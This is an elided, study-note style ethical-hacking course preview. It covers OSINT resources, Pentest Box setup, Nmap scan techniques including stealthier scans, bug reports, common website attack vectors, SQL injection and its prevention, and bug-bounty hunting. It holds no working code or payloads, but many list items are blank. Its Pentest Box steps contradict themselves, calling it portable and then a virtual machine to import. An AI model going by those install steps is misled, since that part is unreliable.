available sources on the internet
...
The OSINT Framework includes various categories of tools and resources, such as
search engines, social media platforms, data visualization tools, email search tools,
people search engines, and much more
...
The framework is available as an online web application, where users can navigate
through different categories and select specific tools or resources to access
...
Some key categories within the OSINT Framework include:
1
...
2
...
3
...
4
...
5
...
6
...
7
...
How to download and install pentest box
Pentest Box is a portable penetration testing environment for Windows
...
Here are the steps to download and install Pentest Box:
1
...
org/
2
...
Click on the download link to start the download process
...
Extract the downloaded file: Once the download is complete, extract the contents of
the downloaded file to a location of your choice on your computer
...
Install a virtualization software: Pentest Box runs in a virtual machine, so you need
virtualization software to run it
...
Install the virtualization software of your choice if you haven't
already
...
Import the Pentest Box VM: Open your virtualization software and import the Pentest
Box VM file
...
Follow the prompts to import the VM
...
Configure VM settings (if required): Depending on your virtualization software, you
may need to adjust some settings for the imported VM
...
Refer to the documentation of your virtualization software for guidance on adjusting VM
settings
...
Start the Pentest Box VM: Once the VM is imported and configured, you can start it
from within your virtualization software
...
8
...
You can explore the tools and
start using them for penetration testing or security assessments
...
While Nmap itself is not a hacking tool, it provides extensive features and options that
can be utilized for advanced scanning and enumeration of network hosts
...
Port Scanning Techniques: Nmap offers various port scanning techniques to discover
open ports on target systems
...
It's reliable but easily detectable
...
This scan type is more
stealthy and harder to detect
...
• Null, Fin, Xmas Scans: These scan types manipulate TCP flags to elicit
specific responses from target systems, aiming to determine open or filtered ports
...
Service Version Detection: Nmap can probe target services to determine their
versions and identify potential vulnerabilities
...
3
...
By analyzing various network parameters
and responses, Nmap can make educated guesses about the target OS
...
4
...
NSE scripts are written in Lua and can be used to automate repetitive tasks, gather
additional information, or discover vulnerabilities
...
5
...
For example, the "-T" flag
allows you to set the timing template, ranging from "Paranoid" to "Insane," where higher
levels increase speed but may raise the risk of detection or inaccurate results
...
Target Specification: Nmap provides flexible target specification options
...
Additionally,
Nmap supports target specification using CIDR notation, hostname resolution, and input
from external files
...
Output Formats: Nmap allows you to save scan results in various formats, including
plain text, XML, and grepable format
...
What is Bug report and how to create it
A bug report, also known as a software defect report or issue report, is a document
that describes a problem or error in a software application or system
...
Bug reports are crucial for
software development teams to identify, track, and fix software bugs effectively
...
Reproduce the issue: Start by attempting to reproduce the bug or problem
...
Reproducibility is essential for
developers to understand and fix the problem
...
Gather information: Collect relevant information about the bug, including the
software version, operating system, hardware specifications, and any other details
about the environment in which the issue occurs
...
3
...
Explain what is happening and what is expected to happen
...
4
...
List
the exact actions, inputs, and conditions necessary to trigger the problem
...
5
...
These visuals
can provide additional context and make it easier for developers to understand the
issue
...
Include error messages or logs: If the bug produces error messages or generates
log files, include them in the bug report
...
7
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This helps developers understand the desired outcome and
compare it to the actual behavior
...
Include impact and severity: Assess the impact and severity of the bug
...
Assign a severity level, such as low, medium, or high, to help prioritize the resolution
...
Submit the bug report: Depending on the software development process, bug
reports can be submitted through bug tracking systems, issue trackers, or
directly to the development team
...
How do websites get hacked
Websites can be hacked through various vulnerabilities and attack vectors
...
Weak passwords: If website administrators or users choose weak or easily
guessable passwords, it becomes easier for attackers to gain unauthorized
access to the website
...
Brute-force attacks: Attackers use automated tools to systematically guess
usernames and passwords to gain access to the website
...
3
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Attackers exploit these vulnerabilities to gain unauthorized access
or execute malicious code
...
SQL injection: Websites that do not properly validate user inputs or sanitize
database queries can be susceptible to SQL injection attacks
...
5
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This can lead to the theft of
sensitive information or the hijacking of user sessions
...
Cross-Site Request Forgery (CSRF): CSRF attacks trick authenticated users
into unknowingly performing malicious actions on a website
...
7
...
8
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Attackers can exploit this to execute arbitrary code or access sensitive
files
...
Social engineering: Attackers may employ social engineering techniques to
trick website administrators or users into revealing sensitive information, such
as login credentials or other confidential data
...
Distributed Denial of Service (DDoS) attacks: DDoS attacks overwhelm a
website's servers by flooding them with an excessive amount of traffic, causing
the website to become inaccessible to legitimate users
...
Here are some common ways e-commerce
websites can be hacked:
1
...
If these components have known security
vulnerabilities or are not kept up to date with security patches, attackers can
exploit them to gain unauthorized access
...
SQL injection: SQL injection attacks occur when attackers manipulate input
fields on the website to inject malicious SQL commands
...
3
...
Attackers inject malicious scripts into the website, which
are then executed by users' browsers
...
4
...
5
...
Weaknesses in payment
gateways, insecure transmission of payment data, or vulnerabilities in thirdparty payment processors can be exploited to compromise the website and
steal payment information
...
Malware injection: Attackers can inject malicious code into the e-commerce
website, often through compromised plugins, themes, or other website
components
...
7
...
8
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Insider threats can lead to unauthorized access, data
breaches, or sabotage of the website
...
•
Implement strong authentication mechanisms, such as multi-factor
authentication, for administrative accounts
...
• Securely handle and transmit payment information by using encryption and
adhering to industry standards, such as PCI-DSS
...
• Monitor website logs and traffic for suspicious activities
...
SQL injection attack
SQL injection is a type of web application vulnerability where an attacker can
manipulate the SQL queries executed by a web application's backend
database
...
Here's how a SQL injection
attack works and some preventive measures:
1
...
• Attackers can
exploit this by injecting malicious SQL code into input fields, such as login
forms, search boxes, or URL parameters
...
2
...
• Blind SQL injection: Attackers exploit vulnerabilities that don't provide direct
feedback, such as error messages or visible results, by crafting SQL queries
that retrieve information through true/false conditions
...
3
...
• Parameterized queries or prepared statements: Instead of concatenating
user input directly into SQL queries, use parameterized queries or prepared
statements, which separate the SQL code from the user input
...
Secure coding practices: Follow secure coding practices and guidelines to
minimize the risk of introducing SQL injection vulnerabilities
...
• Web application firewall (WAF): Employ a WAF that can detect and block SQL
injection attempts by inspecting and filtering web traffic
...
How to track exact location of anyone
Tracking the exact location of an individual without their consent or proper
authorization is illegal and unethical
...
Tracking someone's location without their
knowledge or consent is a violation of their privacy rianyon
...
Law enforcement: Law enforcement agencies may have legal authority to track
individuals' locations as part of an investigation with the appropriate legal
warrants or court orders
...
Parental monitoring: Parents or legal guardians may use location tracking for
the safety and well-being of their minor children, but it should be done with their
knowledge and consent
...
Asset tracking: In some cases, businesses may track the location of their assets,
such as vehicles or inventory, for logistical and security purposes
...
It's essential
to respect individuals' privacy and obtain proper authorization before attempting
CHAPTER NAME: Bug Bounty Hunting
1
...
- It involves performing penetration testing to identify security bugs
...
- Bug bounty hunting provides an opportunity to test and enhance one's skills in a
practical setting
...
Types of Rewards:
- Bug bounties offer various types of rewards, including monetary rewards, swag
(company merchandise), reputations, and point rewards
...
- Reputations are gained through recognition on the bug bounty platform, and
point rewards contribute to the participant's profile level
...
Things to Keep in Mind:
- Developing an interest in technology is crucial as bug bounty hunting involves
solving technical challenges and debugging
...
- Skills and hard work are the primary factors that contribute to growth in the field
...
Skills Required:
- Clearing the basics of ethical hacking and penetration testing is essential
...
- Knowledge of operating systems (both Windows and Linux) is important
...
- Basic knowledge of programming languages and their syntax is helpful
...
Choosing a Path:
- Bug bounty hunting offers different paths, such as website penetration testing,
mobile penetration testing, and desktop penetration testing
...
6
...
- Blogs: Reading blogs written by experienced bug hunters can provide insights into
their thought processes and procedures
...
- Writeups: Exam writeups, machine writeups, and platform writeups provide
valuable knowledge and procedures followed in bug hunting
...
(Note: This summary has been provided in the requested format, with each section
marked as a separate bullet point
...
Participants perform penetration testing to find security bugs and
report them for a reward known as a bounty
...
- Types of Rewards: Bug bounties offer various types of rewards, including
monetary rewards, swags (company merchandise), reputations, and point rewards
to enhance participants' profiles on bug bounty platforms
...
- Willingness to Work Hard: Bug bounty hunting requires dedication and hard work
...
- Skill and Hard Work: Skill development and hard work are the two primary factors
that contribute to success in bug bounty hunting
...
CHAPTER 3: What to Study
- Clearing Basics: It is essential to have a strong foundation in ethical hacking and
penetration testing basics
...
- Command Line Interface: Developing proficiency in the command line interface is
important for executing various tasks in bug bounty hunting
...
- Web Technologies: Familiarity with web technologies such as HTML, CSS, XML, and
JavaScript is crucial for understanding website vulnerabilities
...
CHAPTER 4: Choosing a Path
- Website Penetration Testing: One path involves specializing in website penetration
testing
...
- Desktop Penetration Testing: The third path involves exploring vulnerabilities in
desktop applications or software
...
CHAPTER 5: Resources
- Books: Books provide in-depth knowledge and insights into bug bounty hunting
...
- Blogs: Reading blogs and articles written by bug hunters can provide valuable
insights into their experiences, methodologies, and mindset
...
- Writeups: Examining writeups from bug bounty platforms like HackerOne and
Bugcrowd provides practical knowledge of vulnerabilities and exploitation
techniques
...
CHAPTER 6: How to Practice
- Capture The Flags (CTFs): CTFs are practical challenges that simulate real-world
scenarios, allowing participants to practice their skills in a controlled environment
...
CHAPTER 7: Tools to Use
- Burp Suite: Burp Suite is a critical tool for web application security testing and
should be mastered for effective bug hunting
...
- Dirbuster: Dirbuster helps in finding hidden directories on websites, aiding in the
identification of potential vulnerabilities
...
- Sublister: Sublister is a tool used for enumerating sub-domains, which can reveal
additional targets for testing
...
- HackerOne & Bugcrowd: These platforms act as intermediaries between bug
hunters and companies, hosting bug bounty programs and facilitating bug
reporting
...
- Defined Procedure: Creating a structured procedure for penetration testing helps
ensure thorough and systematic testing, reducing the chances of overlooking
critical vulnerabilities
...
- Reporting: Bug reports should be descriptive, detailed, and informative, clearly
explaining the bug, its potential impact, and possible remedies
...
CHAPTER 10: Important Skills Required
- Basic Programming Skills: Having basic programming skills helps in
understanding code and identifying vulnerabilities
...
- Knowledge of Vulnerabilities & Exploitation: Familiarity with various
vulnerabilities and exploitation techniques allows for comprehensive bug
identification and reporting
...
----------------------------The End -------------Congratulation ----------------------
Title: Hacking full t
Description: Hacking full course covered in easy concept. Don't avoid it this can solve you current problem.
Description: Hacking full course covered in easy concept. Don't avoid it this can solve you current problem.